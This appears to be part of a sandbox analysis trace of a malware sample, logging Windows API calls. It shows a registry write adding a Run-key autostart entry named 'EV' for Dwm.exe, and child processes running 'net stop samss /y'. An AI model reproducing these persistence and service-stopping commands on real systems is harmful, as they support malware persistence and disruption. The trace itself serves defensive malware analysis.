	[0180.282] StrChrIW (lpStart="Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\Windows\\CurrentVersion\\Run"
	[0180.282] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0180.282] StrChrIW (lpStart="Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\CurrentVersion\\Run"
	[0180.282] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0180.282] StrChrIW (lpStart="CurrentVersion\\Run", wMatch=0x5c) returned="\\Run"
	[0180.282] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0180.282] StrChrIW (lpStart="Run", wMatch=0x5c) returned 0x0
	[0180.282] SetLastError (dwErrCode=0x490) 
	[0180.283] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0180.283] SetLastError (dwErrCode=0x0) 
	[0180.283] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0180.283] GetProcessHeap () returned 0x1d0000
	[0180.283] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x5c) returned 0x1ebb90
	[0180.283] GetProcessHeap () returned 0x1d0000
	[0180.283] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x88) returned 0x1ebc00
	[0180.283] GetProcessHeap () returned 0x1d0000
	[0180.283] GetProcessHeap () returned 0x1d0000
	[0180.283] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5cc0) returned 1
	[0180.284] GetProcessHeap () returned 0x1d0000
	[0180.284] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5cc0) returned 0x28
	[0180.284] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5cc0 | out: hHeap=0x1d0000) returned 1
	[0180.284] GetProcessHeap () returned 0x1d0000
	[0180.284] GetProcessHeap () returned 0x1d0000
	[0180.284] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb910) returned 1
	[0180.284] GetProcessHeap () returned 0x1d0000
	[0180.284] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eb910) returned 0x80
	[0180.284] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb910 | out: hHeap=0x1d0000) returned 1
	[0180.284] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/v", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 2
	[0180.284] lstrlenW (lpString="EV") returned 2
	[0180.285] GetProcessHeap () returned 0x1d0000
	[0180.285] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x6) returned 0x1eb720
	[0180.285] lstrlenW (lpString="EV") returned 2
	[0180.285] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0180.285] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0180.285] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0
	[0180.285] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0180.285] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0180.285] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0180.285] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0180.285] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 2
	[0180.286] StrDupW (lpSrch="REG_SZ") returned="REG_SZ"
	[0180.286] lstrlenW (lpString="REG_SZ") returned 6
	[0180.286] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0180.286] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0180.286] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0180.286] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0
	[0180.286] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0180.286] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0180.286] StrChrW (lpStart=" \x09", wMatch=0x5a) returned 0x0
	[0180.286] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_SZ", cchCount1=-1, lpString2="REG_SZ", cchCount2=-1) returned 2
	[0180.286] LocalFree (hMem=0x1eb910) returned 0x0
	[0180.286] SetLastError (dwErrCode=0x0) 
	[0180.286] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 2
	[0180.287] lstrlenW (lpString="￾￾C:\\Windows\\system32\\Dwm.exe") returned 29
	[0180.287] GetProcessHeap () returned 0x1d0000
	[0180.287] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x3c) returned 0x1e9df0
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0180.287] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 2
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0180.288] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0180.289] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0180.289] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0180.289] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3
	[0180.289] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1
	[0180.289] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 3
	[0180.289] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-f", cchCount2=-1) returned 1
	[0180.289] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/reg:32", cchCount2=-1) returned 3
	[0180.289] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-reg:32", cchCount2=-1) returned 1
	[0180.289] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/reg:64", cchCount2=-1) returned 2
	[0180.289] SetLastError (dwErrCode=0x0) 
	[0180.290] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2011f, lpSecurityAttributes=0x0, phkResult=0x16fde0, lpdwDisposition=0x16fe00 | out: phkResult=0x16fde0*=0x54, lpdwDisposition=0x16fe00*=0x2) returned 0x0
	[0180.290] RegQueryValueExW (in: hKey=0x54, lpValueName="EV", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x2
	[0180.291] lstrlenW (lpString="￾￾C:\\Windows\\system32\\Dwm.exe") returned 29
	[0180.291] RegSetValueExW (in: hKey=0x54, lpValueName="EV", Reserved=0x0, dwType=0x1, lpData="￾￾C:\\Windows\\system32\\Dwm.exe", cbData=0x3c | out: lpData="￾￾C:\\Windows\\system32\\Dwm.exe") returned 0x0
	[0180.292] RegCloseKey (hKey=0x54) returned 0x0
	[0180.292] GetProcessHeap () returned 0x1d0000
	[0180.292] GetProcessHeap () returned 0x1d0000
	[0180.292] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb90) returned 1
	[0180.292] GetProcessHeap () returned 0x1d0000
	[0180.292] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebb90) returned 0x5c
	[0180.292] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb90 | out: hHeap=0x1d0000) returned 1
	[0180.292] GetProcessHeap () returned 0x1d0000
	[0180.292] GetProcessHeap () returned 0x1d0000
	[0180.292] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebc00) returned 1
	[0180.292] GetProcessHeap () returned 0x1d0000
	[0180.292] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebc00) returned 0x88
	[0180.293] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebc00 | out: hHeap=0x1d0000) returned 1
	[0180.293] GetProcessHeap () returned 0x1d0000
	[0180.293] GetProcessHeap () returned 0x1d0000
	[0180.293] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb720) returned 1
	[0180.293] GetProcessHeap () returned 0x1d0000
	[0180.293] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eb720) returned 0x6
	[0180.293] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb720 | out: hHeap=0x1d0000) returned 1
	[0180.293] GetProcessHeap () returned 0x1d0000
	[0180.293] GetProcessHeap () returned 0x1d0000
	[0180.293] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e9df0) returned 1
	[0180.293] GetProcessHeap () returned 0x1d0000
	[0180.293] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e9df0) returned 0x3c
	[0180.293] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e9df0 | out: hHeap=0x1d0000) returned 1
	[0180.294] SetLastError (dwErrCode=0x0) 
	[0180.294] GetLastError () returned 0x0
	[0180.294] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x16fd60, nSize=0x0, Arguments=0x0 | out: lpBuffer="뤐\x1e") returned 0x27
	[0180.295] GetLastError () returned 0x0
	[0180.295] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0180.295] GetProcessHeap () returned 0x1d0000
	[0180.296] GetProcessHeap () returned 0x1d0000
	[0180.296] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb660) returned 1
	[0180.296] GetProcessHeap () returned 0x1d0000
	[0180.296] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eb660) returned 0x2
	[0180.296] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb660 | out: hHeap=0x1d0000) returned 1
	[0180.296] GetProcessHeap () returned 0x1d0000
	[0180.296] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x50) returned 0x1ebb90
	[0180.296] SetLastError (dwErrCode=0x0) 
	[0180.296] LocalFree (hMem=0x1eb910) returned 0x0
	[0180.296] __iob_func () returned 0x7fefe122a80
	[0180.296] _fileno (_File=0x7fefe122ab0) returned 1
	[0180.296] _errno () returned 0x3d4bb0
	[0180.297] _get_osfhandle (_FileHandle=1) returned 0x7
	[0180.297] _errno () returned 0x3d4bb0
	[0180.297] GetFileType (hFile=0x7) returned 0x2
	[0180.935] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0180.936] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16fce0 | out: lpMode=0x16fce0) returned 1
	[0180.936] __iob_func () returned 0x7fefe122a80
	[0180.936] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0180.936] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0180.937] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1ebb90*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0x16fd50, lpReserved=0x0 | out: lpBuffer=0x1ebb90*, lpNumberOfCharsWritten=0x16fd50*=0x27) returned 1
	[0180.938] GetProcessHeap () returned 0x1d0000
	[0180.938] GetProcessHeap () returned 0x1d0000
	[0180.938] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb880) returned 1
	[0180.938] GetProcessHeap () returned 0x1d0000
	[0180.938] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eb880) returned 0x86
	[0180.938] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb880 | out: hHeap=0x1d0000) returned 1
	[0180.938] GetProcessHeap () returned 0x1d0000
	[0180.938] GetProcessHeap () returned 0x1d0000
	[0180.938] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb700) returned 1
	[0180.939] GetProcessHeap () returned 0x1d0000
	[0180.939] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eb700) returned 0x18
	[0180.939] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb700 | out: hHeap=0x1d0000) returned 1
	[0180.939] GetProcessHeap () returned 0x1d0000
	[0180.939] GetProcessHeap () returned 0x1d0000
	[0180.939] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c00) returned 1
	[0180.939] GetProcessHeap () returned 0x1d0000
	[0180.940] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5c00) returned 0x20
	[0180.940] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c00 | out: hHeap=0x1d0000) returned 1
	[0180.940] GetProcessHeap () returned 0x1d0000
	[0180.940] GetProcessHeap () returned 0x1d0000
	[0180.940] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c90) returned 1
	[0180.940] GetProcessHeap () returned 0x1d0000
	[0180.940] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5c90) returned 0x1e
	[0180.940] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c90 | out: hHeap=0x1d0000) returned 1
	[0180.940] GetProcessHeap () returned 0x1d0000
	[0180.940] GetProcessHeap () returned 0x1d0000
	[0180.940] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb6e0) returned 1
	[0180.940] GetProcessHeap () returned 0x1d0000
	[0180.940] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eb6e0) returned 0x18
	[0180.941] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb6e0 | out: hHeap=0x1d0000) returned 1
	[0180.941] GetProcessHeap () returned 0x1d0000
	[0180.941] GetProcessHeap () returned 0x1d0000
	[0180.941] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5bd0) returned 1
	[0180.941] GetProcessHeap () returned 0x1d0000
	[0180.941] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5bd0) returned 0x20
	[0180.941] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5bd0 | out: hHeap=0x1d0000) returned 1
	[0180.941] GetProcessHeap () returned 0x1d0000
	[0180.941] GetProcessHeap () returned 0x1d0000
	[0180.941] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb90) returned 1
	[0180.941] GetProcessHeap () returned 0x1d0000
	[0180.941] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ebb90) returned 0x50
	[0180.942] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ebb90 | out: hHeap=0x1d0000) returned 1
	[0180.942] GetProcessHeap () returned 0x1d0000
	[0180.942] GetProcessHeap () returned 0x1d0000
	[0180.942] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a20) returned 1
	[0180.942] GetProcessHeap () returned 0x1d0000
	[0180.942] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5a20) returned 0x20
	[0180.942] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a20 | out: hHeap=0x1d0000) returned 1
	[0180.942] GetProcessHeap () returned 0x1d0000
	[0180.942] GetProcessHeap () returned 0x1d0000
	[0180.942] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a50) returned 1
	[0180.942] GetProcessHeap () returned 0x1d0000
	[0180.943] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5a50) returned 0x20
	[0180.943] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a50 | out: hHeap=0x1d0000) returned 1
	[0180.943] GetProcessHeap () returned 0x1d0000
	[0180.943] GetProcessHeap () returned 0x1d0000
	[0180.943] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a80) returned 1
	[0180.943] GetProcessHeap () returned 0x1d0000
	[0180.943] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5a80) returned 0x20
	[0180.943] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5a80 | out: hHeap=0x1d0000) returned 1
	[0180.943] GetProcessHeap () returned 0x1d0000
	[0180.943] GetProcessHeap () returned 0x1d0000
	[0180.943] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ab0) returned 1
	[0180.943] GetProcessHeap () returned 0x1d0000
	[0180.943] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5ab0) returned 0x20
	[0180.944] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ab0 | out: hHeap=0x1d0000) returned 1
	[0180.944] GetProcessHeap () returned 0x1d0000
	[0180.944] GetProcessHeap () returned 0x1d0000
	[0180.944] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb680) returned 1
	[0180.944] GetProcessHeap () returned 0x1d0000
	[0180.944] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eb680) returned 0x18
	[0180.944] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb680 | out: hHeap=0x1d0000) returned 1
	[0180.944] GetProcessHeap () returned 0x1d0000
	[0180.944] GetProcessHeap () returned 0x1d0000
	[0180.944] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ae0) returned 1
	[0180.944] GetProcessHeap () returned 0x1d0000
	[0180.944] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5ae0) returned 0x20
	[0180.945] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ae0 | out: hHeap=0x1d0000) returned 1
	[0180.945] GetProcessHeap () returned 0x1d0000
	[0180.945] GetProcessHeap () returned 0x1d0000
	[0180.945] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b10) returned 1
	[0180.945] GetProcessHeap () returned 0x1d0000
	[0180.945] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5b10) returned 0x20
	[0180.945] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b10 | out: hHeap=0x1d0000) returned 1
	[0180.945] GetProcessHeap () returned 0x1d0000
	[0180.945] GetProcessHeap () returned 0x1d0000
	[0180.946] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b40) returned 1
	[0180.946] GetProcessHeap () returned 0x1d0000
	[0180.946] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5b40) returned 0x20
	[0180.946] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b40 | out: hHeap=0x1d0000) returned 1
	[0180.946] GetProcessHeap () returned 0x1d0000
	[0180.946] GetProcessHeap () returned 0x1d0000
	[0180.946] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b70) returned 1
	[0180.946] GetProcessHeap () returned 0x1d0000
	[0180.946] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5b70) returned 0x20
	[0180.946] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5b70 | out: hHeap=0x1d0000) returned 1
	[0180.946] GetProcessHeap () returned 0x1d0000
	[0180.946] GetProcessHeap () returned 0x1d0000
	[0180.946] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb6a0) returned 1
	[0180.946] GetProcessHeap () returned 0x1d0000
	[0180.946] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eb6a0) returned 0x18
	[0180.947] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb6a0 | out: hHeap=0x1d0000) returned 1
	[0180.947] GetProcessHeap () returned 0x1d0000
	[0180.947] GetProcessHeap () returned 0x1d0000
	[0180.947] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ba0) returned 1
	[0180.947] GetProcessHeap () returned 0x1d0000
	[0180.947] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5ba0) returned 0x20
	[0180.947] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5ba0 | out: hHeap=0x1d0000) returned 1
	[0180.947] GetProcessHeap () returned 0x1d0000
	[0180.947] GetProcessHeap () returned 0x1d0000
	[0180.947] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c30) returned 1
	[0180.947] GetProcessHeap () returned 0x1d0000
	[0180.947] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5c30) returned 0x20
	[0180.948] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c30 | out: hHeap=0x1d0000) returned 1
	[0180.948] GetProcessHeap () returned 0x1d0000
	[0180.948] GetProcessHeap () returned 0x1d0000
	[0180.948] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb6c0) returned 1
	[0180.948] GetProcessHeap () returned 0x1d0000
	[0180.948] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eb6c0) returned 0x18
	[0180.948] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb6c0 | out: hHeap=0x1d0000) returned 1
	[0180.948] GetProcessHeap () returned 0x1d0000
	[0180.948] GetProcessHeap () returned 0x1d0000
	[0180.948] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c60) returned 1
	[0180.948] GetProcessHeap () returned 0x1d0000
	[0180.948] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e5c60) returned 0x20
	[0180.949] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e5c60 | out: hHeap=0x1d0000) returned 1
	[0180.949] GetProcessHeap () returned 0x1d0000
	[0180.949] GetProcessHeap () returned 0x1d0000
	[0180.949] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb640) returned 1
	[0180.949] GetProcessHeap () returned 0x1d0000
	[0180.949] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eb640) returned 0x18
	[0180.949] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eb640 | out: hHeap=0x1d0000) returned 1
	[0180.949] exit (_Code=0) 

Process:
	id = "36"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x2ec67000"
	os_pid = "0x1208"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 648
	os_tid = 0x120c


Process:
	id = "37"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x2dfa6000"
	os_pid = "0x121c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "33"
	os_parent_pid = "0x1140"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 649
	os_tid = 0x1220

	[0185.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fd70 | out: lpSystemTimeAsFileTime=0x22fd70*(dwLowDateTime=0x50bd4220, dwHighDateTime=0x1d5cdef)) 
